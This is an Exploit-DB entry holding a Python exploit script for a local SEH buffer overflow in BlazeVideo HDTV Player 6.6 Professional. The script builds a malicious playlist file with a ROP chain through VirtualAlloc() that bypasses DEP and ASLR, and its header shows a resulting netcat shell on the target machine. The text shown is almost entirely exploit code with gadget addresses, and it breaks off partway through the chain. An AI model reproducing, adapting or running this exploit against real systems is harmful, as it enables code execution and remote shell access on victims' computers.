Exploit-DB #18693
Description: BlazeVideo HDTV Player 6.6 Professional - Local Overflow (SEH + ASLR + DEP Bypass)
Type: local
Platform: windows
Date: 2012-04-03
Author: b33f

Exploit:
#!/usr/bin/python -w

#-----------------------------------------------------------------------------------#
# Exploit: BlazeVideo HDTV Player 6.6 Professional SEH&DEP&ASLR                     #
# Author: b33f - http://www.fuzzysecurity.com/                                      #
# OS: Tested on Windows 7 32-bit PRO SP1                                            #
# Software Link: http://www.blazevideo.com/download.htm                             #
#                Pro v6.6 - Apr 12, 2011                                            #
#-----------------------------------------------------------------------------------#
# The opportunity to secure ourselves against defeat lies in our own hands          #
# but the opportunity of defeating the enemy is provided by the enemy himself.      #
# - Sun Tzu                                                                         #
#-----------------------------------------------------------------------------------#
# Special thanks:                                                                   #
# Lincoln - Thx for the assist!                                                     #
# corelanc0d3r - Thx for taking the time to go over my work and pointing me         #
#                at VirtualAlloc()!                                                 #                                  
#-----------------------------------------------------------------------------------#
# root@bt:~# nc -nv 192.168[PII_REDACTED]                                            #
# (UNKNOWN) [192.168.111.129] 9988 (?) open                                         #
# Microsoft Windows [Version 6.1.7601]                                              #
# Copyright (c) 2009 Microsoft Corporation.  All rights reserved.                   #
#                                                                                   #
# C:\Program Files\BlazeVideo\BlazeVideo HDTV Player 6.6 Professional>              #
#-----------------------------------------------------------------------------------#

filename="blaze.plf"

#-----------------------------Pivot-Align-----------------------------#
SEH = "\x95\x53\x30\x61"  # Pivot; ADD ESP,800 # RETN
pad = "b33f"*35           # pad ESP to our alignment (140-bytes)

#------------------Save Stack Pointer in EDI&EAX&ESI------------------#
stack = (
"\xC5\x30\x03\x64"  # PUSH ESP # MOV EAX,EDI # POP EDI # POP ESI # RETN
"\x41\x41\x41\x41"  # Padding for POP ESI
"\x24\x60\x02\x64"  # PUSH ESP # POP ESI # RETN
"\xEE\x65\x03\x64"  # XCHG EAX,ESI # RETN
"\x24\x60\x02\x64"  # PUSH ESP # POP ESI # RETN
"\xBF\xCD\x02\x64") # ADD ESP,20 # RETN

#----------------------------VirtualAlloc()---------------------------#
params = (
"\xB4\x11\x34\x60"  # VirtualAlloc()
"WWWW"              # lpAddress \ We need this value twice for alignment!
"WWWW"              # lpAddress /
"XXXX"              # dwSize (0x1)
"YYYY"              # flAllocationType (0x1000)
"ZZZZ"              # flProtect (0x40)
"\x41\x41\x41\x41"  # Padding
"\x41\x41\x41\x41") # Padding

#-----------------------ROP Chain - lpAddress-------------------------#
rop = (
"\xF7\x24\x03\x64"  # ADD EAX,20 # RETN  \
"\xF7\x24\x03\x64"  # ADD EAX,20 # RETN  |
"\xF7\x24\x03\x64"  # ADD EAX,20 # RETN  |
"\xF7\x24\x03\x64"  # ADD EAX,20 # RETN  |
"\xF7\x24\x03\x64"  # ADD EAX,20 # RETN  |
"\xF7\x24\x03\x64"  # ADD EAX,20 # RETN  |
"\xF7\x24\x03\x64"  # ADD EAX,20 # RETN  |
"\xF7\x24\x03\x64"  # ADD EAX,20 # RETN  | ADD EAX 1E0
"\xF7\x24\x03\x64"  # ADD EAX,20 # RETN  |
"\xF7\x24\x03\x64"  # ADD EAX,20 # RETN  |
"\xF7\x24\x03\x64"  # ADD EAX,20 # RETN  |
"\xF7\x24\x03\x64"  # ADD EAX,20 # RETN  |
"\xF7\x24\x03\x64"  # ADD EAX,20 # RETN  |
"\xF7\x24\x03\x64"  # ADD EAX,20 # RETN  |
"\xF7\x24\x03\x64"  # ADD EAX,20 # RETN  /
"\xCB\x06\x11\x64"  # DEC ESI # AND BYTE PTR DS:[EDI-18],DL # RETN \
"\xCB\x06\x11\x64"  # DEC ESI # AND BYTE PTR DS:[EDI-18],DL # RETN |
"\xCB\x06\x11\x64"  # DEC ESI # AND BYTE PTR DS:[EDI-18],DL # RETN | DEC ESI 8
"\xCB\x06\x11\x64"  # DEC ESI # AND BYTE PTR DS:[EDI-18],DL # RETN | We need lpAddress twice to return to the proper 
"\xCB\x06\x11\x64"  # DEC ESI # AND BYTE PTR DS:[EDI-18],DL # RETN | place after executing VirtualAlloc(), the lpAddress
"\xCB\x06\x11\x64"  # DEC ESI # AND BYTE PTR DS:[EDI-18],DL # RETN | parameters are located at ESI+10 and ESI+14
"\xCB\x06\x11\x64"  # DEC ESI # AND BYTE PTR DS:[EDI-18],DL # RETN |
"\xCB\x06\x11\x64"  # DEC ESI # AND BYTE PTR DS:[EDI-18],DL # RETN /
"\xCA\xB5\x33\x60"  # MOV DWORD PTR DS:[ESI+10],EAX # MOV DWORD PTR DS:[ESI+14],EAX # MOV EAX,ESI # POP ESI # POP EBX # RETN
"\x41\x41\x41\x41"  # Padding for POP ESI
"\x41\x41\x41\x41"  # Padding for POP EBX

#------------------------ROP Chain - dwSize---------------------------#
"\xD3\xB1\x04\x64"  # PUSH EAX # POP ESI # RETN 04
"\xCA\x71\x04\x64"  # XCHG EAX,EDI # ADD EAX,2EB0000 # XOR EAX,EAX # RETN 04
"\x41\x41\x41\x41"  # Padding for RETN 04
"\x6D\xA1\x03\x64"  # INC EAX # RETN
"\x41\x41\x41\x41"  # Padding for RETN 04
"\x15\x14\x03\x64"  # INC ESI # RETN
"\x15\x14\x03\x64"  # INC ESI # RETN
"\x15\x14\x03\x64"  # INC ESI # RETN
"\x15\x14\x03\x64"  # INC ESI # RETN
"\x90\x73\x64\x61"  # MOV DWORD PTR DS:[ESI+14],EAX # MOV EAX,ESI # POP ESI # POP EBX # RETN
"\x41\x41\x41\x41"  # Padding for POP ESI
"\x41\x41\x41\x41"  # Padding for POP EBX

#-------------------ROP Chain - flAllocationType----------------------#
"\xD3\xB1\x04\x64"  # PUSH EAX # POP ESI # RETN 04
"\xCA\x71\x04\x64"  # XCHG EAX,EDI # ADD EAX,2EB0000 # XOR EAX,EAX # RETN 04
"\x41\x41\x41\x41"  # Padding for RETN 04
"\x13\x30\x10\x64"  # POP EAX # RETN
"\x41\x41\x41\x41"  # Padding for RETN 04
"\xFF\xEF\xFF\xFF"  # 0xFFFFEFFF
"\xCB\x6E\x33\x61"  # NEG EAX # RETN
"\x2C\x4E\x10\x64"  # DEC EAX # RETN
"\x15\x14\x03\x64"  # INC ESI # RETN
"\x15\x14\x03\x64"  # INC ESI # RETN
"\x15\x14\x03\x64"  # INC ESI # RETN
"\x15\x14\x03\x64"